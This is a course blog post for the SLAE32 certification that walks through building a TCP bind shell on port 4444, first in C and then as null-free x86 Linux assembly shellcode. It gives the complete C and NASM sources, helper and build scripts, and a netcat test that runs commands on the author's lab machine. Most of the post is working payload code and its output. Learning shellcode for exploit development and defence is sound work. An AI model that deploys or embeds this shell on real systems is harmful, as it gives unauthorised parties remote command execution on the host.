SLAE32 - Assignment #1 - TCP Bind Shell
Introduction
This is the blog post for the 1st Assignment of the SLAE32 course, which is offered by PentesterAcademy. The course focuses on teaching the basics of 32-bit Assembly language for the Intel Architecture (IA-32) family of processors on the Linux platform.
The purpose of this assignment is to create a TCP Bind Shell. A Bind Shell has a listener running on the target machine, by opening a port, and the attacker connects to that listener in order to gain a remote shell. The communication happens over the TCP protocol.
My code can be found in my Github: geobour98’s Github.
TCP Bind Shell in C
The easiest way, in my opinion, to create a TCP Bind Shell in Assembly
is to first create it in C
and then “translate” it to ASM code.
In order create the TCP Bind Shell, a few Linux system calls (syscalls
) will be used. They can be found in the following table:
Syscall | Usage |
---|---|
socket | Creates an endpoint for communication |
bind | Binds (assigns) a name to a socket |
listen | Listens for connections on a socket |
accept4 | Accepts a connection on a socket |
dup2 | Duplicates a file descriptor |
execve | Executes a program |
Create a socket:
1
int sockfd = socket(AF_INET, SOCK_STREAM, 0);
Bind a name to the socket, initializing the structure for the TCP/IP address:
1
2
3
4
5
6
7
struct sockaddr_in address = {
.sin_family = AF_INET,
.sin_port = htons(4444),
.sin_addr = INADDR_ANY
};
bind(sockfd, (struct sockaddr*) &address, sizeof(address));
Listen for connections on the socket:
1
listen(sockfd, 0);
Accept a connection on the socket:
1
int acceptfd = accept4(sockfd, NULL, NULL, 0);
Duplicate STDIN, STDOUT and STDERR file descriptors in order to redirect everything to the socket connected:
1
2
3
dup2(acceptfd, 0);
dup2(acceptfd, 1);
dup2(acceptfd, 2);
Execute the /bin/sh
program:
1
execve("/bin/sh", NULL, NULL);
The whole C
program is the following:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// TCP Bind Shell
// Author: geobour98
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <stdlib.h>
int main()
{
int sockfd = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in address = {
.sin_family = AF_INET,
.sin_port = htons(4444),
.sin_addr = INADDR_ANY
};
bind(sockfd, (struct sockaddr*) &address, sizeof(address));
listen(sockfd, 0);
int acceptfd = accept4(sockfd, NULL, NULL, 0);
dup2(acceptfd, 0);
dup2(acceptfd, 1);
dup2(acceptfd, 2);
execve("/bin/sh", NULL, NULL);
return 0;
}
Syscall Arguments
The arguments and their values for the syscalls will be explained later in the creation of the TCP Bind Shell in Assembly.
In order to prove that the Bind Shell is working we have to compile the C
program using the GNU Compiler (gcc
):
1
geobour98@slae32-dev:~/SLAE/custom/SLAE32/1_Shell_bind_tcp$ gcc bind-c.c -o bind-c
First, bind-c
gets executed and waits for connections:
1
geobour98@slae32-dev:~/SLAE/custom/SLAE32/1_Shell_bind_tcp$ ./bind-c
Then, in another terminal netstat
is used to display all active TCP connections in listening mode. The connection happens with nc
on port 4444
and the commands id
and ls
are executed:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
geobour98@slae32-dev:~$ netstat -tanlp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.1.1:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:4444 0.0.0.0:* LISTEN 5268/bind-c
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 ::1:631 :::* LISTEN -
geobour98@slae32-dev:~$
geobour98@slae32-dev:~$ nc 127.0.0.1 4444
id
uid=1000(geobour98) gid=1000(geobour98) groups=1000(geobour98),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
ls
bind
bind-c
bind-c.c
bind.nasm
bind.o
compile.sh
reverse.py
exit
geobour98@slae32-dev:~$
TCP Bind Shell in Assembly
In order to implement the syscalls in Assembly, we have to find their defined numbers. These are located at the header file: /usr/include/i386-linux-gnu/asm/unistd_32.h
.
The syscalls and their definitions can be found in the following table:
Syscall | Definition |
---|---|
socket | #define __NR_socket 359 |
bind | #define __NR_bind 361 |
listen | #define __NR_listen 363 |
accept4 | #define __NR_accept4 364 |
dup2 | #define __NR_dup2 63 |
execve | #define __NR_execve 11 |
Now we have to find the arguments and their values in order to be used in the syscalls.
- Syscall
socket
:
1
int socket(int domain, int type, int protocol);
The domain
argument specifies a communication domain. Since we operate through IPv4 protocol, we will use the AF_INET
address family, which according to the socket header file: /usr/include/i386-linux-gnu/bits/socket.h
belongs to the PF_INET
protocol family. This protocol family is represented by the number 2
.
The type
argument specifies the communication semantics. We will use SOCK_STREAM
, since it provides sequenced, reliable, two-way, connection-based byte streams. According to the socket_type header file: /usr/include/i386-linux-gnu/bits/socket_type.h
, SOCK_STREAM
is represented by the number 1
.
The protocol
argument specifies a particular protocol to be used with the socket. Normally only a single protocol exists to support a particular socket type within a given protocol family, in which case protocol
can be specified as 0
.
The return value from socket
is a file descriptor for the new socket, if socket was executed successfully.
- Syscall
bind
:
1
int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
The sockfd
argument is the file descriptor returned from socket
execution. It is an integer value.
The *addr
argument is the address structure that will be assigned to the socket. The structure consists of 3 values. The first value is the AF_INET
, which from before is the number 2
. The second value is the port that will be opened in order to listen for connections, which in our case is 4444
. The third value is the interface that the socket will listen on. We provide the value 0
in order to listen on all interfaces (0.0.0.0
).
The addrlen
argument is the size, in bytes, of the address structure pointed to by addr
. According to the header file: /usr/include/linux/in.h
the size is 16
bytes.
- Syscall
listen
:
1
int listen(int sockfd, int backlog);
The sockfd
argument is the integer value that is returned from the socket
execution.
The backlog
argument defines the maximum length to which the queue of pending connections for sockfd
may grow. We don’t need it in our case, so we pass to it the value 0
.
- Syscall
accept4
:
1
int accept4(int sockfd, struct sockaddr *addr, socklen_t *addrlen, int flags);
The sockfd
argument again is the integer value that is returned from the socket
execution.
The *addr
argument is a pointer to a sockaddr
structure. The addr
is NULL
, when nothing is filled in.
When *addr
is NULL, it means that the argument addrlen
is not used and should also be NULL
.
The flags
argument is 0
, because we want accept4
to be the same as accept
.
On success, accept4
returns a nonnegative integer that is a descriptor for the accepted socket.
- Syscall
dup2
:
1
int dup2(int oldfd, int newfd);
The argument oldfd
is the nonnegative integer returned from accept4
.
If the descriptor newfd
was previously open, it is silently closed before being reused. If oldfd
is a valid file descriptor, and newfd
has the same value as oldfd
, then dup2
does nothing, and returns newfd
. We execute dup2
3 times in order to pass the values: 0
for STDIN
, 1
for STDOUT
and 2
for STDERR
.
On success dup2
returns the new descriptor.
- Syscall
execve
:
1
int execve(const char *filename, char *const argv[], char *const envp[]);
The *filename
argument must be either a binary executable or a script, so we pass to it the executable “bin/sh”.
The argv
argument is an array of argument strings passed to the new program. The envp
argument is an array of strings, conventionally of the form “key=value”, which are passed as environment to the new program. Since we don’t need any of these we pass the value NULL
.
Assembly in Detail
Now we will examine the Assembly
instructions in detail.
- Syscall
socket
We first clear the register EAX
and then pass the hexadecimal value 0x167
, which in decimal is 359. That value is passed to the AX
part of the EAX
register, which contains the 16 less significant bits. The decimal 359 needs 9 bits in order to be represented in binary and since we must use registers with integer size multiple to 8, we need 16 bits. If we reserved the whole EAX
register, then nullbytes (0x00
) would be put in the 16 more significant bits that would break our shellcode.
1
2
xor eax, eax
mov ax, 0x167 ; 167 is the hex value of the decimal 359 for socket
Then we clear the EBX
register and pass to BL
the value 2
, since there is the PF_INET
protocol family.
1
2
xor ebx, ebx
mov bl, 0x2 ; AF_INET numeric value from PF_INET protocol family
After that, we clear the ECX
register and pass to CL
the value 1
, since this is the value of SOCK_STREAM
constant.
1
2
xor ecx, ecx
mov cl, 0x1 ; SOCK_STREAM constant from socket_type.h
We clear the EDX
register and the value 0
, because of the single protocol, is passed as the third argument to socket
syscall.
1
xor edx, edx ; 0 value because of single protocol
Then, in order to actulally execute the syscall, we run the following instruction:
1
int 0x80 ; exec socket syscall
That instruction will be invoked after declaring the arguments of each syscall in order to be executed.
The socket
syscall returns a file descriptor (sockfd
), so we copy it to the EBX
register, since the result of the syscall is saved in the EAX
register by default.
1
mov ebx, eax ; move sockfd (file descriptor) value into ebx
- Syscall
bind
We clear the EAX
register and then pass the hexadecimal value 0x169
, which in decimal is 361. Note that these values come from the table with the syscalls
and their definitions
from above.
1
2
xor eax, eax
mov ax, 0x169 ; 169 is the hex value of the decimal 361 for bind
Stack vs Registers
When we use the stack, as we will for the following arguments, we push the arguments from last to first, since it is Last In First Out data stucture. That’s not the case with registers, since each argument needs to be stored in a specific register.
We start with the values for the address
structure.
Since the register EDX
already contains the value 0
, we push it to the stack, so the socket listens on all interfaces (0.0.0.0
).
1
push edx ; listens on all addresses (0.0.0.0)
Then, since we are dealing with little endianness the port with decimal value 4444
and hexadecimal 115c
, becomes 5c11
.
1
push word 0x5c11 ; listen on port 4444 (little endian)
After that, we push the value 2
for the AF_INET
constant.
1
push word 0x2 ; AF_INET constant
We clear the ECX
register, and save the value of the Stack Pointer (ESP
register) there. So now ECX
points at the top of the stack.
1
2
xor ecx, ecx
mov ecx, esp ; ecx now points at address struct at the top of the stack
Now the values for the struct are defined.
The EBX
register already contains the value of sockfd
from socket
.
The ECX
register already points at the beginning of the struct in the stack.
We clear the EDX
register, and pass the hexadecimal value 0x10
(16
in decimal), since that is the size of the address struct.
1
2
xor edx, edx
mov dl, 0x10 ; 10 is the decimal 16 that is the size of the address struct
The final step for the bind
syscall is to invoke a syscall interrupt by the next instruction:
1
int 0x80 ; exec bind syscall
Then we clear the ECX
register.
1
xor ecx, ecx ; clear ecx
- Syscall
listen
We clear the EAX
register, and then pass to AX
the hexadecimal value 0x16b
(363
in decimal) as the definition number for listen
syscall.
1
2
xor eax, eax
mov ax, 0x16b ; 16b is the hex value of the decimal 363 for listen
Then we clear the EDX
register and push the value 0
to the stack for the backlog value, which was discussed before.
1
2
xor edx, edx
push edx ; backlog value is 0
Then, since the register EBX
still holds the sockfd
value, we push it to the stack (as the first argument for the listen
syscall).
1
push ebx ; sockfd
Finally, we invoke a syscall interrupt for the listen
to be executed.
1
int 0x80 ; exec listen syscall
- Syscall
accept4
We clear the EAX
register and pass the hexadecimal value 0x16c
(364
in decimal) to AX
as the definition number for accept4
syscall.
1
2
xor eax, eax
mov ax, 0x16c ; 16c is the hex value of the decimal 364 for accept4
The last argument for accept4
, which is flags
, needs to have value 0
. The arguments addr
and addrlen
have both NULL
value. Since the register EDX
is already cleared we push its value (0x00
) to the stack 3 times.
1
2
3
push edx ; 0
push edx ; NULL argument
push edx ; NULL argument
Then, we push the value sockfd
from the EBX
register to the stack, as the first argument for accept4
.
1
push ebx ; sockfd
Finally, the accept4
syscall gets executed.
1
int 0x80 ; exec accept4 syscall
- Syscall
dup2
Since we need the return value from accept4
for the dup2
syscall, we copy the result from EAX
register to EBX
.
1
mov ebx, eax ; acceptfd
We create a loop that will execute dup2
3 times for STDERR
, STDOUT
and STDIN
respectively. So, we clear the ECX
register and pass the value 0x3
to CL
, which is the counter for the loop.
1
2
xor ecx, ecx
mov cl, 0x3 ; set counter to 3
We first declare the procedure dup2loop
, which acts like a function, where we clear the EAX
register and pass to AL
the hexadecimal value 0x3f
(63
in decimal) as the dup2
syscall number. Then, we decrement the counter (CL
) by 1, so in the first iteration the value inside CL
will be 2
, representing the STDERR
. 2 more iterations will happen with value 1
and 0
for STDOUT
and STDIN
respectively. Each iteration is finished by executing the dup2
syscall and by creating a conditional instruction. That instruction checks if the Zero Flag (ZF
) is set, meaning it has value 0
, and if it is the loop is stopped and the execution is continued. If it is not 0
a jump
happens back to dup2loop
. In the third iteration, CL
is decremented to 0
, so the ZF
is set, and the execution will continue to the next instructions and there will not be a jump back to dup2loop
.
1
2
3
4
5
6
7
8
9
dup2loop:
xor eax, eax
mov al, 0x3f ; 3f is the hex value of the decimal 63 for dup2
dec cl ; decrement counter by 1
int 0x80 ; exec dup2 syscall
jnz dup2loop ; jump to loop if ZF is not zero, else continue
- Syscall
execve
We clear the EAX
register and pass the hexadecimal value 0xb
(11
in decimal) to AL
as the execve
syscall number.
1
2
xor eax, eax
mov al, 0xb ; b is the hex value of the decimal 11 for execve
Then we clear the EBX
register. The last 2 arguments of execve
have NULL
values, so we push the EBX
value to the stack twice. Also, the executable “/bin/sh” must be null terminated, so we push one more time the EBX
value to the stack.
1
2
3
4
xor ebx, ebx
push ebx ; NULL argument
push ebx ; NULL argument
push ebx ; null terminator
Since “/bin/sh” is only 7 bytes, we need to make it 8 bytes. That is because when a string is pushed to the stack it must be multiplied by 4. The safest way to do that, without breaking any functionality, is to add a /
. So the string /bin/sh
becomes /bin//sh
. The following string would be valid too //bin/sh
. Since we are dealing with the stack again, the string must be reversed first. The next python
script will help achieve that.
1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/python
import sys
input = sys.argv[1]
print 'String length: ' + str(len(input))
stringList = [input[i:i+4] for i in range(0, len(input), 4)]
for item in stringList[::-1]:
print item[::-1] + ' : ' + str(item[::-1].encode('hex'))
We run the above script by providing the string we want to be reversed.
1
2
3
4
geobour98@slae32-dev:~/SLAE/custom/SLAE32/1_Shell_bind_tcp$ ./reverse.py "/bin//sh"
String length: 8
hs// : 68732f2f
nib/ : 6e69622f
Now the string is represented as hex
and we can push it to the stack. So we push first the string “hs//” and then the string “nib/”.
1
2
3
; PUSH /bin//sh
push 0x68732f2f ; "hs//"
push 0x6e69622f ; "nib/"
Finally, we save ESP
value to the EBX
register in order to point at the top of the stack and execute the execve
syscall.
1
2
3
mov ebx, esp ; ebx points at "/bin//sh" at the top of the stack
int 0x80 ; exec execve syscall
The whole Assembly
program is the following:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
; TCP Bind Shell
; Author: geobour98
global _start
section .text
_start:
; socket
xor eax, eax
mov ax, 0x167 ; 167 is the hex value of the decimal 359 for socket
xor ebx, ebx
mov bl, 0x2 ; AF_INET numeric value from PF_INET protocol family
xor ecx, ecx
mov cl, 0x1 ; SOCK_STREAM constant from socket_type.h
xor edx, edx ; 0 value because of single protocol
int 0x80 ; exec socket syscall
mov ebx, eax ; move sockfd (file descriptor) value into ebx
; bind
xor eax, eax
mov ax, 0x169 ; 169 is the hex value of the decimal 361 for bind
push edx ; listens on all addresses (0.0.0.0)
push word 0x5c11 ; listen on port 4444 (little endian)
push word 0x2 ; AF_INET constant
xor ecx, ecx
mov ecx, esp ; ecx now points at address struct at the top of the stack
xor edx, edx
mov dl, 0x10 ; 10 is the decimal 16 that is the size of the address struct
int 0x80 ; exec bind syscall
xor ecx, ecx ; clear ecx
; listen
xor eax, eax
mov ax, 0x16b ; 16b is the hex value of the decimal 363 for listen
xor edx, edx
push edx ; backlog value is 0
push ebx ; sockfd
int 0x80 ; exec listen syscall
; accept4
xor eax, eax
mov ax, 0x16c ; 16c is the hex value of the decimal 364 for accept4
push edx ; 0
push edx ; NULL argument
push edx ; NULL argument
push ebx ; sockfd
int 0x80 ; exec accept4 syscall
mov ebx, eax ; acceptfd
; dup2 loop
xor ecx, ecx
mov cl, 0x3 ; set counter to 3
dup2loop:
xor eax, eax
mov al, 0x3f ; 3f is the hex value of the decimal 63 for dup2
dec cl ; decrement counter by 1
int 0x80 ; exec dup2 syscall
jnz dup2loop ; jump to loop if ZF is not zero, else continue
; execve
xor eax, eax
mov al, 0xb ; b is the hex value of the decimal 11 for execve
xor ebx, ebx
push ebx ; NULL argument
push ebx ; NULL argument
push ebx ; null terminator
; PUSH /bin//sh
push 0x68732f2f ; "hs//"
push 0x6e69622f ; "nib/"
mov ebx, esp ; ebx points at "/bin//sh" at the top of the stack
int 0x80 ; exec execve syscall
Testing the Bind Shell
In order to test Bind Shell, we need to compile it. Compilation process consists of 2 separate processes:
- Assembling: can happen with the
nasm
assembler, which assembles the input file (.nasm
) and directs output to the output file (.o
) if specified. It basically “translates” theAssembly
code. - Linking: can happen with the GNU linker
ld
, which combines a number of object and archive files, relocates their data and ties up symbol references. It basically provides information such as where the entry point of a program is. By default the entry point is_start
but this can be changed.
The following bash
script automates that process:
1
2
3
4
5
6
7
8
9
#!/bin/bash
echo '[+] Assembling with Nasm ... '
nasm -felf32 -o $1.o $1.nasm
echo '[+] Linking ...'
ld -o $1 $1.o
echo '[+] Done!'
The following command does the compilation and creates the executable bind
:
1
2
3
4
geobour98@slae32-dev:~/SLAE/custom/SLAE32/1_Shell_bind_tcp$ ./compile.sh bind
[+] Assembling with Nasm ...
[+] Linking ...
[+] Done!
We test the Bind Shell by executing in one terminal window the bind
executable and in another we execute netstat
to display all active TCP connections in listening mode and id
and ls
commands.
1st window:
1
geobour98@slae32-dev:~/SLAE/custom/SLAE32/1_Shell_bind_tcp$ ./bind
2nd window:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
geobour98@slae32-dev:~$ netstat -tanlp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.1.1:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:4444 0.0.0.0:* LISTEN 3151/bind
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 ::1:631 :::* LISTEN -
geobour98@slae32-dev:~$ nc 127.0.0.1 4444
id
uid=1000(geobour98) gid=1000(geobour98) groups=1000(geobour98),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
ls
bind
bind-c
bind-c.c
bind.nasm
bind.o
compile.sh
reverse.py
exit
geobour98@slae32-dev:~$
Summary
We have a working TCP Bind Shell that binds on port 4444 and we can execute commands after connecting to it.
Next will be the TCP Reverse Shell!
SLAE32 Blog Post
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
https://www.pentesteracademy.com/course?id=3
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/Student ID: PA-36167